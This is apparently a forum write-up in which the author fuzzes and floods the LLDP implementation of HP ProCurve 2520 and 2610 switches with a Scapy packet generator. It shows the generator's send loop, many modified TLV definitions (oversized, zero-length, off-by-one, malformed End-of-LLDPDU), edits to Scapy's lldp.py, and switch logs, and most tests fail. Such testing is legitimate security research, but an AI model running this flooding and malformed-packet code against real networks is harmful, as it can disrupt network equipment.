lldpDot1PPVlanId.orgUniqueCode = 0x0080c2 #LLDP Organization Specific Code 0x0080c2 = 802.1
lldpDot1PPVlanId.subtype = 0x02 #802.1 Subtype 2 = Port Protocol VLAN ID
lldpDot1PPVlanId.flags = 0x01 #Port Protocol VLAN ID flag 1 = Not Supported + Not Enabled
lldpDot1PPVlanId.VlanIdentNr = 488 #VLAN Identifier 488 (VID)
lldpDot1VlanName = LLDPDot1VlanName() #LLDP 802.1 - VLAN Name
lldpDot1VlanName.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot1VlanName.length = 0x16 #Define Frame Length
lldpDot1VlanName.orgUniqueCode = 0x0080c2 #LLDP Organization Specific Code 0x0080c2 = 802.1
lldpDot1VlanName.subtype = 0x03 #802.1 Subtype 3 = VLAN Name
lldpDot1VlanName.VID = 488 #Vlan ID (VID)
lldpDot1VlanName.VlanNameLength = 0x0f #Length of Vlan Name frame
lldpDot1VlanName.VlanName = StringGen(15) #Random String as Vlan Name
lldpDot1ProtoId = LLDPDot1ProtoIdent() #LLDP 802.1 - Protocol ID
lldpDot1ProtoId.type = 0x7f #LLDP TLV Type 127 = Organization Specific
lldpDot1ProtoId.length = 0x05 #Define Frame Length
lldpDot1ProtoId.orgUniqueCode = 0x0080c2 #LLDP Organization Specific Code 0x0080c2 = 802.1
lldpDot1ProtoId.subtype = 0x04 #802.1 Subtype 4 = Protocol ID
lldpDot1ProtoId.ProtoIdentLength= 0x00 #Protocol ID Length 0 - no ID
lldpEnd = LLDPEndOfPdu() #Start definition of LLDP End of LLDPPDU
lldpEnd.type = 0x00 #LLDP TLV Type 0 = End of LLDPPDU
lldpEnd.length = 0x00 #Define Frame length
#Create Command Line Output
output = etherframe.src+' -> '+etherframe.dst+' / System Name: '+lldpSysName.systemName+' / Port ID: '+str(lldpPortID.intName)+' / TTL: '+str(lldpttl.sec)
print output
#Assemble Packet
packet = etherframe/lldpChassisID/lldpPortID/lldpttl/lldpPortDesc/lldpSysName/lldpSysDesc/lldpSysCap/lldpMgmtAddr/lldpDot3MacPhyStat/lldpDot3PwMdi/lldpDot3LinkAgg/lldpMxFrameSize/lldpDot1PVlanId/lldpDot1PPVlanId/lldpDot1VlanName/lldpDot1ProtoId/lldpEnd
return packet
i = 0
while i < int(argv[1]):
i += 1
packet = lldpPacketGen()
sendp(packet, verbose=0)
2.1 Test LLDP Neighbor Database flooding against HPTested Devices
HP ProCurve 2520 -> Firmware Version: S.14.03
HP ProCurve 2610 -> Firmware Version: R.11.72
To get some information while testing I turned on all debuging information and send them to a syslog server
Test Results HP ProCurve 2520 and 2610
For the flooding attack I started with the script provided above without any modification. Sending 1000 LLDP packets to the device quickly produced the following message:
LLDP: LLDP mlldpCtrl:lldp pkt received on port : 1
LLDP: LLDP mlldpCtrl:lldp neighbor limit exceeded - port : 1
I realized a slight ingress of CPU usage on the switches but thats not even close to what I was looking for. I searched around in some config guides, the internet and the command line but sadly I found nothing
There seems to be a difference between both switches regarding the number of lldp neighbors per port. Maybe we can get a better result with a higher amount of packets and a shorter TTL. The TTL defines how long the entry should remain in the database (is valid). Change the following line in the code:
lldpttl.sec = 2 #TTL in sec
This time I got no neighbor limit exceeded message because the entries become invalid before the limit was reached. This means the limit is not about the amount of packets received in a specific time period, it's about the number of entries in the database. The cpu usage during this test was normal (like before) and a ping to google.com showed that there was no interruption regarding L2 or L3 functionality. Compared to CDP the LLDP implementation on HP ProCurve switches doesn't seem to be vulnerable to a database flooding attack.
2.2 Chassis ID Payload OverloadI found that nice paper on the internet .Its written by Jeremy Hollander - Department of Computer Sciences -The University of Texas at Austin
Download:
http://upload.evilzone.org/download.php?id=4824393&type=zipIn the first test case we overload the payload for the Chassis ID TLV. The LLDP specification specifies that the maximum payload size for the Chassis ID TLV is 255 bytes. In this first test case we send 510 bytes. We correctly store the information string length as being 511 bytes. If the receiving agent does not perform any verification on the size of the Chassis ID TLV when receiving LLDP packets it may only assign 255 bytes for this TLV. This may have as a result that the Port ID TLV, or any information stored in sequence after the Chassis ID TLV, will be overwritten with the last 255 bytes of the information string.
Edited the fuzzer to:
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x1ff#0x07 #Define Frame Length
lldpChassisID.subtype = 0x06#0x04 #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName = StringGen(512)
Response from the switch
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3
Seems like the mandatory tlvs are checked. So lets try one that is not mandatory like the Port Description TLV
2.3 Port Description Payload OverloadThe Port Description TLV Payload maximum value length should be 255 bytes. We follow the approach from 2.2 and send 510 bytes with a correct length value of 510 bytes. I am going to send a lot of A's to see if we can find these A's in a TLV where they don't belong.
lldpPortDesc = LLDPPortDescription() #Start definition of LLDP Port Description TLV
lldpPortDesc.type = 0x04 #LLDP TLV Type 4 = Port Description
lldpPortDesc.length = 0x1fe#0x16 #Define Frame Length
lldpPortDesc.portDescription = StringGen(510, "A") #Random String as Port Description
LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3
seems like he likes the packets but the show lldp info remote 3 command shows that no value was overwritten.
Local Port : 3
ChassisType : mac-address
ChassisId : 00 e0 1e 56 f6 4b
PortType : interface-name
PortId : 853
SysName : szliFmmVbAQJ
System Descr : kj8YxXrroNIjKeMaFK111fDCrr2i3j4RU92bDoiL36SAMiMGliC41wiq9...
PortDescr : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
System Capabilities Supported : router
System Capabilities Enabled : router
Remote Management Address
Type : all802
Address : 00 e0 1e 3d 47 99
lets see what happens when we try to overload the System Description TLV.
2.4 System Description Payload OverloadThe System Description TLV looks similar to the Port Description TLV and we need to change the code to:
lldpSysDesc = LLDPSystemDescription() #Start definition of LLDP System Description TLV
lldpSysDesc.type = 0x06 #LLDP TLV Type 6 = System Description
lldpSysDesc.length = 0x1fe#0x4b #Define Frame Length
lldpSysDesc.systemDescription = StringGen(510, "A")#75 #Random String as System Description
LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3
LLDP Remote Device Information Detail
Local Port : 3
ChassisType : mac-address
ChassisId : 00 01 30 50 96 aa
PortType : interface-name
PortId : 485
SysName : p3nmMcWCGsIW
System Descr : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
PortDescr : 5FgFQvRyNb4fcPwE9GgOIg
System Capabilities Supported : router
System Capabilities Enabled : router
Remote Management Address
Type : all802
Address : 00 01 30 6e e7 d0
Again The Switch placed the entry in the database but again we were not able to overwrite the next value
2.5 Chassis ID TLV with no payloadIn the second test case we send an LLDP packet which contains a Chassis ID TLV with no payload. On parsing this TLV we should expect the receiving agent to discard the message because the minimum TLV information string length is two bytes: one byte for the Chassis ID subtype and at least one byte for the information string.
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x01#0x07 #Define Frame Length
lldpChassisID.subtype = 0x06#0x04 #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName = ""
LLDP: LLDP lldp pkt received on port : 3
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3
And again the switch made the right choice and droped the packet.
2.6 Wrong TLV information string length in Chassis IDIn the third test case we investigate whether the TLV information string length is tested against the real size of the information string in the Chassis ID. In this packet we set the TLV information string length to 1 such that the receiving agent may only reserve a single byte for this TLV. However we provide a four- byte payload. Similarly to the first test case it is possible that the Chassis ID information string will overwrite the Port ID TLV, if both are stored in sequence in the MIB. Otherwise it may overwrite random information in the MIB.
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x01#0x07 #Define Frame Length
lldpChassisID.subtype = 0x06#0x04 #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName = StringGen(4)
LLDP: LLDP lldp pkt received on port : 3
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3
Guess I don't need to say anymore... this is really frustrating
2.7 off-by-one errorIn the fourth test case we send a malformed packet with a 256 byte Chassis ID information string. This is one byte larger than allowed by the protocol. The information string length is therefore, including the Chassis ID subtype, 257 bytes. In this case we wish to find out if the device under test may have an off-by-one error.
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x101#0x07 #Define Frame Length
lldpChassisID.subtype = 0x06#0x04 #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName = StringGen(256)
LLDP: LLDP lldp refresh pkt sent out port : 3
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3
2.8 LLDP Neighbor Database flooding the secondIn the fifth test case we send a burst of 1000 LLDP packets with a TTL TLV of 15 seconds. While each LLDP packet is legal according to the protocol we wish to test whether the receiving agent may have a mechanism in place which would restrict it from receiving a large amount of packets in a short period of time, especially if the Time To Live TLV states that the information received is fresh for 15 seconds.
I already tested this but I thought let's give the 15 seconds TTL a try
lldpttl.sec = 15 #TTL in sec
LLDP: LLDP lldp neighbor limit exceeded - port : 3
LLDP: LLDP lldp pkt received on port : 3
Still no luck
2.9 End of LLDPDU with two-byte payloadAccording to the LLDP specification the End Of LLDPDU TLV may never contain any payload. In the sixth test case we send a packet with a two-byte payload attached to the End Of LLDPDU TLV. In addition we leave the information string length field to zero. Since the End Of LLDPDU TLV is always placed at the end of a packet it has a crucial location in terms of finding a vulnerability in the remote system. Because the recipient of the packet may not allocate any storage for the payload as the informationstring length states that there is no payload, it is possible that the payload which in this case is two bytes long may overwrite some data located on the recipient’s executable stack. This may prove to be fatal as the recipient may unknowingly execute malicious code injected by the sender in the payload of this packet if that payload overwrites memory from the executable stack.
First we need to edit the lldp.py in the scapy contrib folder slightly:
class LLDPEndOfPdu(LLDPGeneric):
name = "LLDP End of LLDPDU"
fields_desc=[BitEnumField("type", 0x00, 7, _LLDP_tlv_types),
BitField("length", 0x00, 9),
BitField("test", 0x0101, 16)]
and the fuzzer:
lldpEnd = LLDPEndOfPdu() #Start definition of LLDP End of LLDPPDU
lldpEnd.type = 0x00 #LLDP TLV Type 0 = End of LLDPPDU
lldpEnd.length = 0x00 #Define Frame length
lldpEnd.test = 0x0101
LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3
Seems like the switches accepts the packet but ignores the additional End of LLDPDU payload
2.10 End of LLDPDU with two-byte payload and correct lengthThe seventh test case is very similar in fashion to the previous test case. The only difference is that we provide the actual payload in the information string length. The purpose of this test case is to determine whether the recipient of this LLDP packet would malfunction if it receives an End Of LLDPDU TLV with an information string length not equal to zero.
lldpEnd = LLDPEndOfPdu() #Start definition of LLDP End of LLDPPDU
lldpEnd.type = 0x00 #LLDP TLV Type 0 = End of LLDPPDU
lldpEnd.length = 0x02 #Define Frame length
lldpEnd.test = 0x0101
LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3
It really seems as the switch would accept these packages. This could be a point for further investigation. For now I am not quite sure if the switch takes the additional payload or if it is simply ignored. To be honest I have no clue how to get the required information but I will go on reseachring and post it here as soon as I have some new information. Maybe someone else can give me a hint???
2.11 illegal System Capabilities TLV information stringIn the eighth test case we send an illegal System Capabilities TLV information string. The optional System Capabilities TLV is used to identify the primary functions of the sender and whether or not these primary functions are enabled. These functions may include a repeater capability, bridge capability, wireless LAN access point capability or router capability. There are in total seven functions with another eight reserved for future use. An example of a legal message would include information about a device being capable of acting as a bridge and wireless LAN access point however at the time the message is sent only the wireless LAN access point functionality is enabled. In this test case the malformed packet specifies that the sender’s system may only function as a bridge (the third lowest bit specifies the bridge functionality) however at the time the message is sent the bridge and wireless LAN access point functionalities enabled (the fourth lowest bit specifies the wireless LAN access point functionality). This is an inconsistency which must be rejected by the recipient of this packet. In this test case we attempt to determine whether the recipient has consistency-checks in place. If no such checks are present an error may occur.
lldpSysCap = LLDPSystemCapabilities() #Start definition of LLDP System Capabilities TLV
lldpSysCap.type = 0x07 #LLDP TLV Type 7 = System Capabilities
lldpSysCap.length = 0x04 #Define Frame Length
lldpSysCap.capabilities = 0x04#'router' #Capabilities = router
lldpSysCap.enabledCapabilities = 0x0c#'router' #enabled Capabilities = router
LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3
Again the switch accepts the packet but it seems like it is doing validation as the capabilities are not listed:
LLDP Remote Device Information Detail
Local Port : 3
ChassisType : mac-address
ChassisId : 00 01 30 57 fe 0c
PortType : interface-name
PortId : 919
SysName : UYJvJtx2IHZR
System Descr : t4nXZmpPwTuk2QwrNWlciokexhq8juSbMSFGqtYjMgMsbxWFzMqwce8Tg...
PortDescr : NC14b1wMxsE3gepkpSdkZy
System Capabilities Supported :
System Capabilities Enabled :
Remote Management Address
Type : all802
Address : 00 01 30 58 5c e2
2.12 missing mandatory TLVIn the ninth test case we wish to find out whether the recipient’s LLDP agent has implemented the protocol at its most basic level. In this test case the Port ID TLV is missing. According to the specification the LLDPDU must be checked to ensure that it contains the correct sequence of mandatory TLVs.
we already know that
no need to test it again. (see: 2.7 for example)
2.13 wrong IP value in Chassis ID TLVThe tenth test case sends a Chassis ID TLV with an IPv4 address yet specifies that it is providing an IPv6 address. The purpose of this test case is to find out whether the recipient’s LLDP agent will fail upon receiving the wrong type of IP address even though the address provided is a valid version 4 address.
Again we need to edit lldp.py in the scapy contrib folder cause the script does not allow Address Family 2 with an IPv4 Address:
ConditionalField(IP6Field("ipaddr", "2001:0db8:0000:08d3:0000:8a2e:0070:7344"), lambda pkt: pkt.ipaddrfam == 0x01),
ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.ipaddrfam == 0x02),
We have just switched both conditions with each other.
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x06 #Define Frame Length
lldpChassisID.subtype = 0x05#0x04 #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpChassisID.ipaddrfam = 0x02
lldpChassisID.ipaddr = '192.168.1.1'
The Fuzzer script part for it
lldpChassisID = LLDPChassisID() #Start definition of LLDP Chassis ID TLV
lldpChassisID.type = 0x01 #LLDP TLV type 1 = Chassis ID
lldpChassisID.length = 0x06 #Define Frame Length
lldpChassisID.subtype = 0x05#0x04 #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr = RandMacGen(randManufacturer) #Use Random MAC as Chassis ID Identifier
lldpChassisID.ipaddrfam = 0x02
lldpChassisID.ipaddr = '192.168.1.1'
LLDP Remote Device Information Detail
Local Port : 3
ChassisType : network-address
ChassisId : 02 c0 a8 01 01
PortType : interface-name
PortId : 658
SysName : bFUj1BpwgGDj
System Descr : Qo8yXHwgE7uUYJ59BKxSd8xj6Hmvj1T4ryc9bNj55Q59CFZFe6NrABmQu...
PortDescr : EuznbBH4eQJVM6AmlFUl3Q
System Capabilities Supported : router
System Capabilities Enabled : router
Remote Management Address
Type : all802
Address : 00 01 30 4d 6e 60
Seems like the switch does not validate it and took the IPv4 address
So... guess thats all now. I would really like to provide some more findings. It really took me a ling time to make all of this and hopefully somebody likes it and can use these information. If someone has ideas on how I should go on I would really love to hear them.
Thanks for reading
Cheers,
RBA